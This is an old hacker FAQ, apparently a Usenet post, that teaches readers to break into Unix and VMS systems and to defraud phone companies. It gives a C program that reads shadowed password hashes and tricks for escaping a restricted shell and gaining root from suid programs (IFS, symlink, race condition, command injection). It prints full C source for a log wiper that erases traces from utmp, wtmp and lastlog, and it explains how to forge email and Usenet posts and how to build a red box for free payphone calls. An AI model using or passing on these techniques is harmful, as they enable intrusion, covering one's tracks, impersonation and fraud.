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- @BEGIN_FILE_ID.DIZSome useful info on hacking the Internet
- @END_FILE_ID.DIZ
- will@gnu.ai.mit.edu
-
- With special thanks to:
-
- A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison,
- KCrow, Presence, Rogue Agent, sbin and TheSaint.
-
- Beta Revision .004
-
-
- 01. How do I access the password file under Unix?
- 02. How do I crack Unix passwords?
- 03. How do I access the password file under VMS?
- 04. How do I crack VMS passwords?
- 05. What is NIS/yp?
- 06. What is password shadowing?
- 07. How do I break out of a restricted shell?
- 08. How do I gain root from a suid script or program?
- 09. How do I erase my presence from the system logs?
- 10. How do I send fakemail?
- 11. How do I fake posts to UseNet?
- 12. What is a Red Box?
- 13. How do I build a Red Box?
- 14. Which payphones will a Red Box work on?
- 15. What is a Blue Box?
- 16. Do Blue Boxes still work?
- 17. What is a Black Box?
- 18. What do all the colored boxes do?
- 19. What are some ftp sites of interest to hackers?
- 20. What are some newsgroups of interest to hackers?
- 21. What are some telnet sites of interest to hackers?
- 22. What are some World wide Web (WWW) sites of interest to hackers?
- 23. What are some IRC channels of interest to hackers?
- 24. What are some BBS's of interest to hackers?
- 25. How do I hack ChanOp on IRC?
- 26. How do I modify the IRC client to hide my real username?
- 27. What is the ANAC number for my area?
- 28. What is a ringback number?
- 29. What is the ringback number for my area?
- 30. What is a loop?
- 31. What is a loop in my area?
- 32. What is a CNA number?
- 33. What is the telephone company CNA number for my area?
- 34. What does XXX stand for?
- 35. What is a trojan/worm/virus?
- 36. Where can I find more information?
-
-
-
-
- 01. How do I access the password file under Unix?
-
- In standard Unix the password file is /etc/passwd. On a Unix system
- with either NIS/yp or password shadowing, much of the password data
- may be elsewhere.
-
-
- 02. How do I crack Unix passwords?
-
- Contrary to popular belief, Unix passwords cannot be decrypted. Unix
- passwords are encrypted with a one way function. The login program
- encrypts the text you enter at the "password:" prompt and compares
- that encrypted string against the encrypted form of your password.
-
- Password cracking software uses wordlists. Each word in the wordlist
- is encrypted with each of the 2600 possible salt values and the
- results are compared to the encrypted form of the target password.
-
- The best cracking program for Unix passwords is currently Crack by
- Alec Muffett. For PC-DOS, the best package to use is currently
- CrackerJack.
-
-
- 03. How do I access the password file under VMS?
-
- Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
- unlike Unix, most users do not have access to read the password file.
-
-
- 04. How do I crack VMS passwords?
-
- Write a program that uses the SYS$GETUAF functions to compare the
- results of encrypted words against the encrypted data in SYSUAF.DAT.
-
- Two such programs are known to exist, CHECK_PASSWORD and
- GUESS_PASSWORD.
-
-
- 05. What is NIS/yp?
-
- NIS (Network Information System) in the current name for what was once
- known as yp (Yellow Pages). The purpose for NIS is to allow many
- machies on a network to share configuration information, including
- password data. NIS is not designed to promote system security. If
- your system uses NIS you will have a very short /etc/passwd file with
- a line that looks like this:
-
- +::0:0:::
-
- To view the real password file use this command "cd/etc;ypcat passwd"
-
-
- 06. What is password shadowing?
-
- Password shadowing is a security system where the encrypted password
- field of /etc/password is replaced with a special token and the
- encrypted password is stored in a seperate file which is not readable
- by normal system users.
-
- To defeat password shadowing on many systems, write a program that
- uses successive calls to getpwent() to obtain the password file.
-
- Example:
-
- #include <pwd.h>
- main()
- {
- struct passwd *p;
- while(p=getpwent())
- printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
- p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
- }
-
-
- 07. How do I break out of a restricted shell?
-
- On poorly implemented restricted shells you can break out of the
- restricted environment by running a program that features a shell
- function. A good example is vi. Run vi and use this command:
-
- :set shell=/bin/sh
-
- then shell using this command:
-
- :shell
-
-
- 08. How do I gain root from a suid script or program?
-
- 1. Change IFS.
-
- If the shell script calls any other programs using the system()
- function call, you may be able to fool it by changing IFS. IFS is the
- Internal Field Seperator that the shell uses to delimit arguments.
-
- If the program contains a line that looks like this:
-
- system("/bin/date")
-
- and you change IFS to '/' the shell will them interpret the
- proceeding line as:
-
- bin date
-
- Now, if you have a program of your own in the path called "bin" the
- suid program will run your program instead of /bin/date.
-
- To change IFS, use this command:
-
- set IFS '/'
-
-
- 2. link the script to -i
-
- Create a symbolic link named "-i" to the program. Running "-i"
- will cause the interpreter shell (/bin/sh) to start up in interactive
- mode. This only works on suid shell scripts.
-
- Example:
-
- % ln suid.sh -i
- % -i
- #
-
-
- 3. Exploit a race condition
-
- Replace a symbolic link to the program with another program while the
- kernel is loading /bin/sh.
-
- Example:
-
- nice -19 suidprog ; ln -s evilprog suidroot
-
-
- 4. Send bad input the the program.
-
- Invoke the name of the program and a seperate command on the same
- command line.
-
- Example:
-
- suidprog ; id
-
-
- 09. How do I erase my presence from the system logs?
-
- Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
- files that can be edited by hand with vi, you must use a program
- specifically written for this purpose.
-
- Example:
-
- #include <sys/types.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <sys/file.h>
- #include <fcntl.h>
- #include <utmp.h>
- #include <pwd.h>
- #include <lastlog.h>
- #define WTMP_NAME "/usr/adm/wtmp"
- #define UTMP_NAME "/etc/utmp"
- #define LASTLOG_NAME "/usr/adm/lastlog"
-
- int f;
-
- void kill_utmp(who)
- char *who;
- {
- struct utmp utmp_ent;
-
- if ((f=open(UTMP_NAME,O_RDWR))>=0) {
- while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof( utmp_ent ));
- lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
- write (f, &utmp_ent, sizeof (utmp_ent));
- }
- close(f);
- }
- }
-
- void kill_wtmp(who)
- char *who;
- {
- struct utmp utmp_ent;
- long pos;
-
- pos = 1L;
- if ((f=open(WTMP_NAME,O_RDWR))>=0) {
-
- while(pos != -1L) {
- lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
- if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
- pos = -1L;
- } else {
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof(struct utmp ));
- lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
- write (f, &utmp_ent, sizeof (utmp_ent));
- pos = -1L;
- } else pos += 1L;
- }
- }
- close(f);
- }
- }
-
- void kill_lastlog(who)
- char *who;
- {
- struct passwd *pwd;
- struct lastlog newll;
-
- if ((pwd=getpwnam(who))!=NULL) {
-
- if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
- lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
- bzero((char *)&newll,sizeof( newll ));
- write(f, (char *)&newll, sizeof( newll ));
- close(f);
- }
-
- } else printf("%s: ?\n",who);
- }
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- if (argc==2) {
- kill_lastlog(argv[1]);
- kill_wtmp(argv[1]);
- kill_utmp(argv[1]);
- printf("Zap2!\n");
- } else
- printf("Error.\n");
- }
-
-
- 10. How do I send fakemail?
-
- Telnet to port 25 of the machine you want the mail to appear to
- originate from. Enter your message as in this example:
-
- HELO bellcore.com
- MAIL FROM:Voyagor@bellcore.com
- RCPT TO:clinton@whitehouse.gov
- DATA
-
- Please discontinue your silly Clipper initiative.
- .
- QUIT
-
- On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
- line will not work. Test by sending yourself fakemail first.
-
-
- 11. How do I fake posts to UseNet?
-
- Use inews to post. Give inews the following lines:
-
- From:
- Newsgroups:
- Subject:
- Message-ID:
- Date:
- Organization:
-
- For a moderated newsgroup, inews will also require this line:
-
- Approved:
-
- Then add your post and terminate with <Control-D>.
-
- Example:
-
- From: Dale Drew
- Newsgroups: alt.2600
- Subject: Please forgive me
- Message-ID: <d_drew.123@tymnet.com>
- Date: Fri, 13 Jun 1994 12:15:03
- Organization: Tymnet Insecurity
-
- Please forgive me for being such a worthless puke all of these years.
-
- Sincerely,
-
- Bartman
- ^D
-
-
- 12. What is a Red Box?
-
- When a coin is inserted into a payphone, the phone emits a set of
- tones. A red box is a device that simulates those tones, with the
- purpose of fooling the payphone into believing you have inserted an
- actual coin.
-
-
- 13. How do I build a Red Box?
-
- Red boxes are commonly manufactured from modified Radio Shack tone
- dialers, Hallmark greeting cards, or made from scratch from readily
- available electronic components.
-
- To make a Red Box from a radio shack tone dialer, open the dialer and
- replace the crystal (the largest shiny metal component) with a crystal
- close to 6.5Mhz. The most popular choice is the 6.5536Mhz crystal.
- When you are finished, program the P1 button with five *'s. That will
- simulate a quarter tone. Note that the tone dialer you start with
- must have programmable buttons.
-
-
- 14. Which payphones will a Red Box work on?
-
- Red Boxes will work on TelCo owned payphones, but not on COCOT's
- (Customer Owned Coin Operated Telephones).
-
-
- 15. What is a Blue Box?
-
- Blue boxes use a 2600hz tone to convince telephone switches that use
- in-band signalling that the caller is actually a telephone operator.
- The caller may then access special switch functions, with the usual
- purpose of making free long distance phone calls, using the
- Multi-Frequency tones provided by the Blue Box.
-
-
- 16. Do Blue Boxes still work?
-
- Blue Boxes still work in areas using in-band signalling. Modern phone
- signalling switches using ESS (Electronic Signalling Systems) use
- out-of-band-signalling. Nothing you send over the voice portion of
- bandwidth can control the switch.
-
-
- 17. What is a Black Box?
-
- A Black Box is a 10k ohm resistor placed across your phone line to
- cause the phone company equipment to be unable to detect that you have
- answered your telephone. People who call you will then not be billed
- for the telephone call.
-
-
- 18. What do all the colored boxes do?
-
- Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call
- Forwarding on old 4-wire phone systems
- Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
- Beige Lineman's hand set
- Black Allows the calling party to not be billed for the call placed
- Blast Phone microphone amplifier
- Blotto Supposedly shorts every fone out in the immediate area
- Blue Emulate a true operator by siezing a trunk with a 2600hz tone
- Brown Create a party line from 2 phone lines
- Bud Tap into your neighbors phone line
- Chartreuse Use the electricity from your phone line
- Cheese Connect two phones to create a divertor
- Chrome Manipulate Traffic Signals by Remote Control
- Clear A telephone pickup coil and a small amp use to make free
- calls on Fortress Phones
- Color Line activated telephone recorder
- Copper Cause crosstalk interference on an extender
- Crimson Hold button
- Dark Re-route outgoing or incoming calls to another phone
- Dayglo Connect to your neighbors phone line
- Divertor Re-route outgoing or incoming calls to another phone
- DLOC Create a party line from 2 phone lines
- Gold Trace calls, tell if the call is being traced, and can change a tra
- ce
- Green Emulate the Coin Collect, Coin Return, and Ringback tones
- Infinity Remotely activated phone tap
- Jack Touch-Tone key pad
- Light In-use light
- Lunch AM transmitter
- Magenta Connect a remote phone line to another remote phone line
- Mauve Phone tap without cutting into a line
- Neon External microphone
- Noise Create line noise
- Olive External ringer
- Party Create a party line from 2 phone lines
- Pearl Tone generator
- Pink Create a party line from 2 phone lines
- Purple Telephone hold button
- Rainbow Kill a trace by putting 120v into the phone line (uh huh..)
- Razz Tap into your neighbors phone
- Red Make free phone calls from pay phones by generating quarter tones
- Rock Add music to your phone line
- Scarlet Cause a neighbors phone line to have poor reception
- Silver Create the DTMF tones for A, B, C and D
- Static Keep the voltage on a phone line high
- Switch Add hold, indicator lights, conferencing, etc..
- Tan Line activated telephone recorder
- Tron Reverse the phase of power to your house, causing your
- electric meter to run slower
- TV Cable "See" sound waves on your TV
- Urine Create a capacitative disturbance between the ring and tip
- wires in another's telephone headset
- Violet Keep a payphone from hanging up
- White Portable DTMF keypad
- Yellow Add an extension phone
-
-
- 19. What are some ftp sites of interest to hackers?
-
- aql.gatech.edu
- bellcore.com
- cert.org
- cipher.com
- deimos.cs.uah.edu
- ftp.csua.berkeley.edu /pub/cypherpunks
- ftp.eff.org /pub/cud
- ftp.etext.org
- ftp.netcom.com /pub/bradleym
- ftp.netsys.com
- ftp.win.tue.nl
- garbo.uwasa.fi:pc/crypt
- ghost.dsi.unimi.it:/pub/crypt
- hack-this.pc.cc.cmu.edu
- halcyon.com
- info.cert.org
- ripem.msu.edu:pub/crypt
- rtfm.mit.edu
- spy.org
- theta.iis.u-tokyo.ac.jp /pub1/security
- vincent2.iastate.edu login: anonymous.mabell /* Closed for the Summer */
- wimsey.bc.ca /pub/crypto
-
-
- 20. What are some newsgroups of interest to hackers?
-
- alt.2600
- alt.dcom.telecom
- alt.hackers
- alt.security.index
- alt.security.keydist
- alt.security.pgp
- alt.security.ripem
- alt.security
- comp.dcom.telecom Telecommunications digest. (Moderated)
- comp.dcom.telecom.tech
- comp.org.cpsr.announce
- comp.org.cpsr.talk
- comp.org.eff
- comp.org.eff
- comp.security.announce
- comp.security.misc Security issues of computers and networks.
- comp.security.unix
- comp.virus Computer viruses & security. (Moderated)
- misc.security Security in general, not just computers. (Moderated)
- sci.crypt Different methods of data en/decryption.
-
-
- 21. What are some telnet sites of interest to hackers?
-
-
- 22. What are some World wide Web (WWW) sites of interest to hackers?
-
- http://crimelab.com//bugtraq/bugtraq/html
- http://cs.purdue.edu/homes/spaf/coast.html
- http://cs.purdue.edu/homes/spaf/pcert.html
- http://first.org
- http://l0pht.com
- http://tamsun.tamu.edu/~clm3840/hacking.html/
- http://www.net23.com
- http://www.tnt.uni-hannover.de/stud/hamid.html
- http://www.spy.org /Security/Local/News
- http://www.phantom.com/~king
-
-
- 23. What are some IRC channels of interest to hackers?
-
- #hack
- #phreak
- #linux
- #unix
- #warez
-
-
- 24. What are some BBS's of interest to hackers?
-
- Home BBS (303)343-4053
-
-
- 25. How do I hack ChanOp on IRC?
-
- Find a server that is split from the rest of IRC and create your own
- channel there using the name of the channel you want ChanOp on. When
- that server reconnects to the net, you will have ChanOp on the real
- channel. If you have ServerOp on a server, you can cause it to split
- on purpose.
-
-
- 26. How do I modify the IRC client to hide my real username?
-
- Get the IRC client from cs.bu.edu /irc/clients. Look at the source
- code files irc.c and ctcp.c. The code you are looking for is fairly
- easy to spot. Change it. Change the username code in irc.c and the
- ctcp information code in ctcp.c. Compile and run your client.
-
-
- 27. What is the ANAC number for my area?
-
- How to find your ANAC number:
-
- Look up your NPA (Area Code) and try the number listed for it. If that
- fails, try 1 plus the number listed for it. If that fails, try the
- common numbers like 311, 958 and 200-222-2222. If that fails, try the
- nationwide ANAC number 404-988-9664. If you find the ANAC number for
- your area, please let us know.
-
- Note that many times the ANAC number will vary for different
- switches in the same city.
-
- A trick to getting the number of the phone line you are calling from
- is to call (800)571-8859. It is an 800 phone sex line. The system
- will give you an account number. The first 10 digits of the account
- number will be the telephone number from which you are calling.
-
- NPA ANAC number Comments
- --- --------------- ---------------------------------------------
- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ
- 203 960 CT (All)
- 203 970 CT (All)
- 204 644-xxxx Manitoba
- 205 908-222-2222 Birmingham, AL
- 206 411 WA /* Not US West */
- 207 958 ME (All)
- 209 830 Stockton, CA
- 212 958 Manhattan, NY
- 213 114 Los Angeles, CA
- 213 1223 Los Angeles, CA /* some 1AESS switches */
- 213 211-2345 Los Angeles, CA /* English response */
- 213 211-2346 Los Angeles, CA /* DTMF response */
- 213 61056 Los Angeles, CA
- 214 790 Dallas, TX /* GTE */
- 214 970-222-2222 Dallas, TX
- 214 970-611-1111 Dallas, TX /* Southwestern Bell */
- 215 410-xxxx Philadelphia, PA
- 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
- 301 958-9968 Hagerstown/Rockville, MD
- 305 200-222-2222 Ft. Lauderdale/Key West/Miami, FL
- 309 200-xxx-xxxx Peoria/Rock Island, IL
- 310 114 Long Beach, CA /* on many GTE switches */
- 310 1223 Long Beach, CA /* some 1AESS switches */
- 310 211-2345 Long Beach, CA /* English response */
- 310 211-2346 Long Beach, CA /* DTMF response */
- 312 1-200-5863 Chicago, IL
- 312 200-xxx-xxxx Chicago, IL
- 312 290 Chicago, IL
- 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
- 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
- 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
- 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
- 314 511 Columbia/Jefferson City, MO
- 317 310-222-2222 Indianapolis/Kokomo, IN
- 317 743-1218 Indianapolis/Kokomo, IN
- 401 222-2222 RI (All)
- 402 311 Lincoln, NE
- 403 311 Alberta, Yukon and N.W. Territory
- 403 908-222-2222 Alberta, Yukon and N.W. Territory
- 403 999 Alberta, Yukon and N.W. Territory
- 404 311 Atlanta, GA
- 404 940-xxx-xxxx Atlanta, GA
- 405 897 Enid/Oklahoma City, OK
- 407 200-222-2222 Orlando/West Palm Beach, FL
- 408 300-xxx-xxxx San Jose, CA
- 408 760 San Jose, CA
- 408 940 San Jose, CA
- 409 951 Beaumont/Galveston, TX
- 409 970-xxxx Beaumont/Galveston, TX
- 410 200-555-1212 Annapolis/Baltimore, MD
- 410 811 Annapolis/Baltimore, MD
- 412 711-6633 Pittsburgh, PA
- 412 711-4411 Pittsburgh, PA
- 412 999-xxxx Pittsburgh, PA
- 413 958 Pittsfield/Springfield, MA
- 413 200-555-5555 Pittsfield/Springfield, MA
- 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
- 415 200-555-1212 San Francisco, CA
- 415 211-2111 San Francisco, CA
- 415 2222 San Francisco, CA
- 415 640 San Francisco, CA
- 415 760-2878 San Francisco, CA
- 415 7600-2222 San Francisco, CA
- 419 311 Toledo, OH
- 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
- 503 611 Portland, OR /* not all parts of town */
- 508 958 Fall River/New Bedford/Worchester, MA
- 508 200-222-1234 Fall River/New Bedford/Worchester, MA
- 508 200-222-2222 Fall River/New Bedford/Worchester, MA
- 509 560 Spokane/Walla Walla/Yakima, WA
- 512 200-222-2222 Austin/Corpus Christi, TX
- 512 830 Austin/Corpus Christi, TX
- 512 970-xxxx Austin/Corpus Christi, TX
- 514 320-xxxx Montreal, Quebec
- 515 5463 Des Moines, IA
- 516 958 Hempstead/Long Island, NY
- 516 968 Hempstead/Long Island, NY
- 517 200-222-2222 Bay City/Jackson/Lansing, MI
- 517 200200200200200 Bay City/Jackson/Lansing, MI
- 518 997 Albany/Schenectady/Troy, NY
- 518 998 Albany/Schenectady/Troy, NY
- 602 593-0809 Phoenix, AZ
- 602 593-6017 Phoenix, AZ
- 602 593-7451 Phoenix, AZ
- 603 200-222-2222 NH (All)
- 606 997-555-1212 Ashland/Winchester, KY
- 607 993 Binghamton/Elmira, NY
- 609 958 Atlantic City/Camden/Trenton/Vineland, NJ
- 612 511 Minneapolis/St.Paul, MN
- 615 200200200200200 Nashville, TN
- 615 830 Nashville, TN
- 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
- 617 200-222-1234 Boston, MA
- 617 200-222-2222 Boston, MA
- 617 200-444-4444 Boston, MA /* Woburn, MA */
- 617 220-2622 Boston, MA
- 617 958 Boston, MA
- 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
- 708 1-200-xxxx Chicago/Elgin, IL
- 713 970-xxxx Houston, TX
- 714 211-2121 Anaheim, CA /* GTE */
- 716 511 Buffalo/Niagra Falls/Rochester, NY /* Rochester Tel */
- 717 958 Harrisburg/Scranton/Wilkes-Barre, PA
- 718 958 Bronx/Brooklyn/Queens/Staten Island, NY
- 802 2-222-222-2222 Vermont (All)
- 802 200-222-2222 Vermont (All)
- 805 830 San Luis Obispo, CA
- 806 970-xxxx Amarillo/Lubbock, TX
- 810 200200200200200 Michigan
- 812 410-555-1212 Evansville, IN
- 815 200-xxx-xxxx La Salle/Rockford, IL
- 815 290 La Salle/Rockford, IL
- 817 211 Ft. Worth/Waco, TX
- 817 970-611-1111 Ft. Worth/Waco, TX /* Southwestern Bell */
- 818 1223 Pasadena, CA /* some 1AESS switches */
- 818 211-2345 Pasadena, CA /* English response */
- 818 211-2346 Pasadena, CA /* DTMF response */
- 906 200-222-2222 Marquette/Sault Ste. Marie, MI
- 908 958 New Brunswick, NJ
- 910 311 Fayetteville/Greensboro/Raliegh/Winston-Salem, NC
- 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
- 915 970-xxxx Abilene/El Paso, TX
- 919 711 Durham, NC
-
-
- Canada:
- 306 115 Saskatchewan, Canada
- 416 410-xxxx Toronto, Ontario
- 416 997-xxxx Toronto, Ontario
- 519 320-xxxx London, Ontario
- 604 1116 British Columbia, Canada
- 604 1211 British Columbia, Canada
- 604 211 British Columbia, Canada
- 613 320-2232 Ottawa, Ontario
- 705 320-xxxx Saulte Ste. Marie, Ontario
-
- Australia:
- +61 03-552-4111 Victoria 03 area
- +61 19123 All major capital cities
-
- 28. What is a ringback number?
-
- A ringback number is a number that you call that will immediately
- ring the telephone from which it was called.
-
-
- 29. What is the ringback number for my area?
-
- 203 991-xxxx CT (All)
- 209 890-xxxx Stockton, CA
- 303 99X-xxxx Grand Junction, CO
- 312 200-xxxx Chicago, IL
- 502 988 Lexington, KY
- 512 95X-xxxx Austin, TX
- 601 777-xxxx MS (All)
- 619 331-xxxx San Diego, CA
- 619 332-xxxx San Diego, CA
- 716 981-xxxx Rochester, NY /* Rochester Tel */
-
-
- 30. What is a loop?
-
- A loop is two phone numbers connected together by the phone company
- for testing purposes. A loop has a high end and a low end. If you
- dial the high end, you will hear nothing. Not even a ring. If you
- dial the low end, you will hear an annoying 1,000hz tone for several
- seconds. If you connect to the high end and someone dials the low
- end, you can speak to each other.
-
-
- 31. What is a loop in my area?
-
- NPA High Low
- --- -------- --------
- 201 228-9929 228-9930
- 201 238-9929 238-9930
- 201 251-9929 251-9930
- 201 254-9929 254-9930
- 201 272-9929 272-9930
- 201 330-9929 330-9930
- 201 333-9929 333-9930
- 201 339-9929 339-9930
- 201 347-9929 347-9930
- 201 376-9929 376-9930
- 201 398-9929 398-9930
- 201 467-9929 467-9930
- 201 528-9929 528-9930
- 201 558-9929 558-9930
- 201 559-9929 559-9930
- 201 560-9929 560-9930
- 201 592-9929 592-9930
- 201 625-9929 625-9930
- 201 631-9929 631-9930
- 201 637-9929 637-9930
- 201 655-9929 655-9930
- 201 666-9929 666-9930
- 201 690-9929 690-9930
- 201 761-9929 761-9930
- 201 762-9929 762-9929
- 201 762-9929 762-9930
- 201 762-9929 762-9929
- 201 763-9929 763-9930
- 201 764-9929 764-9930
- 201 767-9929 767-9930
- 201 768-9929 768-9930
- 201 773-9929 773-9930
- 201 879-9929 879-9930
- 201 946-9929 946-9930
- 201 992-9929 992-9930
- 201 993-9929 993-9930
- 201 994-9929 994-9930
- 201 994-9930
- 212 352-9900 352-9906
- 213 360-1118 360-1119
- 213 365-1118 365-1119
- 213 455-0002 455-xxxx
- 213 455-0002 455-XXXX
- 213 546-0002 546-XXXX
- 213 546-0002 546-xxxx
- 305 778-9952 778-9951
- 305 964-9951 964-9952
- 312 222-9973 222-9974
- 312 234-9973 234-9974
- 313 224-9996 224-9997
- 313 225-9996 225-9997
- 313 234-9996 234-9997
- 313 237-9996 237-9997
- 313 256-9996 256-9997
- 313 272-9996 272-9997
- 313 273-9996 273-9997
- 313 277-9996 277-9997
- 313 281-9996 281-9997
- 313 292-9996 292-9997
- 313 299-9996 299-9997
- 313 321-9996 321-9997
- 313 326-9996 326-9997
- 313 356-9996 356-9997
- 313 362-9996 362-9997
- 313 369-9996 369-9997
- 313 388-9996 388-9997
- 313 397-9996 397-9997
- 313 399-9996 399-9997
- 313 445-9996 445-9997
- 313 465-9996 465-9997
- 313 471-9996 471-9997
- 313 474-9996 474-9997
- 313 477-9996 477-9997
- 313 478-9996 478-9997
- 313 483-9996 483-9997
- 313 497-9996 497-9997
- 313 526-9996 526-9997
- 313 552-9996 552-9997
- 313 556-9996 556-9997
- 313 561-9996 561-9997
- 313 569-9996 569-9996
- 313 575-9996 575-9997
- 313 577-9996 577-9997
- 313 585-9996 585-9997
- 313 591-9996 591-9997
- 313 621-9996 621-9997
- 313 626-9996 626-9997
- 313 644-9996 644-9997
- 313 646-9996 646-9997
- 313 647-9996 647-9997
- 313 649-9996 649-9997
- 313 663-9996 663-9997
- 313 665-9996 665-9997
- 313 683-9996 683-9997
- 313 721-9996 721-9997
- 313 722-9996 722-9997
- 313 728-9996 728-9997
- 313 731-9996 731-9997
- 313 751-9996 751-9997
- 313 776-9996 776-9997
- 313 781-9996 781-9997
- 313 787-9996 787-9997
- 313 822-9996 822-9997
- 313 833-9996 833-9997
- 313 851-9996 851-9997
- 313 871-9996 871-9997
- 313 875-9996 875-9997
- 313 886-9996 886-9997
- 313 888-9996 888-9997
- 313 898-9996 898-9997
- 313 934-9996 934-9997
- 313 942-9996 942-9997
- 313 963-9996 963-9997
- 313 977-9996 977-9997
- 313 995-9996 995-9997
- 402 422-0001 422-0002
- 402 422-0005 422-0006
- 402 422-0007 422-0008
- 402 422-0003 422-0004
- 402 422-0005 422-0006
- 402 422-0007 422-0008
- 402 422-0009 ALL-PREF
- 402 422-0003 422-0004
- 402 422-0009 ALL-PREF
- 402 422-0001 422-0002
- 402 572-0003 572-0004
- 517 422-9996 422-9997
- 517 423-9996 423-9997
- 517 455-9996 455-9997
- 517 563-9996 563-9997
- 517 663-9996 663-9997
- 517 851-9996 851-9997
- 609 921-9929 921-9930
- 609 994-9929
- 609 994-9929 994-9930
- 616 997-9996 997-9997
- 616 ALL-PREF ALL-PREF
- 713 224-1499 759-1799
- 713 324-1499 324-1799
- 713 339-1499 339-1799
- 713 342-1499 342-1799
- 713 351-1499 351-1799
- 713 354-1499 354-1799
- 713 356-1499 356-1799
- 713 442-1499 442-1799
- 713 447-1499 447-1799
- 713 455-1499 455-1799
- 713 458-1499 458-1799
- 713 462-1499 462-1799
- 713 466-1499 466-1799
- 713 468-1499 468-1799
- 713 469-1499 469-1799
- 713 471-1499 471-1799
- 713 481-1499 481-1799
- 713 482-1499 482-1799
- 713 484-1499 484-1799
- 713 487-1499 487-1799
- 713 489-1499 489-1799
- 713 492-1499 492-1799
- 713 493-1499 493-1799
- 713 524-1499 524-1799
- 713 526-1499 526-1799
- 713 555-1499 555-1799
- 713 661-1499 661-1799
- 713 664-1499 664-1799
- 713 665-1499 665-1799
- 713 666-1499 666-1799
- 713 667-1499 667-1799
- 713 682-1499 976-1799
- 713 771-1499 771-1799
- 713 780-1499 780-1799
- 713 781-1499 997-1799
- 713 960-1499 960-1799
- 713 977-1499 977-1799
- 713 988-1499 988-1799
- 714 535-1118 535-1119
- 714 538-1118 538-1119
- 714 858-1118 858-1119
- 714 879-1118 879-1119
- 805 528-0044 528-0045
- 805 544-0044 544-0045
- 805 773-0044 773-0045
- 813 385-9971
- 908 776-9930 776-9930
-
-
- 32. What is a CNA number?
-
- CNA stands for Customer Name and Address. The CNA number is a phone
- number for telephone company personnel to call and get the name and
- address for a phone number. If a telephone lineman finds a phone line
- he does not recognize, he can use the ANI number to find it's phone
- number and then call the CNA operator to see who owns it and where
- they live.
-
- Normal CNA numbers are available only to telephone company personnel.
- Private citizens may now legally get CNA information from private
- companies. Two such companies are:
-
- Unidirectory (900)933-3330
- Telename (900)884-1212
-
- Note that these are 900 numbers, and will cost you approximately one
- dollar per minute.
-
-
- 33. What is the telephone company CNA number for my area?
-
- 614 614-464-0123
-
-
- 34. What does XXX stand for?
-
- TLA Three Letter acronym
-
- ALRU-Automatic Line Record Update
- AN-Associated Number
- ARSB-Automated Repair Service Bureau
- ATH-Abbreviated Trouble History
- BOC-Bell Operating Company
- BOR-Basic Output Report
- CA-Cable
- COE-Central Office Equipment
- CMC-Construction Maintenance Center
- CRSAB-Centralized Repair Service Answering Bureau
- DDD-Direct Distance Dialing
- ECC-Enter Cable Change
- LMOS-Loop Maintenance Operations System
- MLT-Mechanized Loop Testing
- POTS-Plain Old Telephone Service
- RSB-Repair Service Bureau
- SS-Special Service
- TAS-Telephone Answering Service
- TH-Trouble History
- TREAT-Trouble Report Evaluation and Analysis Tool
-
- NTA: The Nocturnal Trading Alliance
- PE: Public Enemy
- TDT: The Dream Team
- THG: The Humble Guys
- THP: The Hill People
-
-
- 35. What is a trojan/worm/virus?
-
- Trojan: A program that when run by a user does an action that the
- users did not expect, or the program was not designed to do.
-
- Virus: A portion of code that attaches it self to other executable
- files in the attempt to replicate and spread itself.
-
- Worm: A stand alone program that acomplishes a task in the
- background by replicating and moving though a computer
- network.
-
-
- 36. Where can I find more information?
-
-
-
- --
- \* Will Spencer : The advancement and diffusion of knowledge *\
- \* Unix geek : is the only guardian of true liberty. *\
- \* PC guru : -- James Madison *\
- \* Revolutionary : 4th U.S. President *\
- End of article 12510 (of 12700)--what next? [npq]
-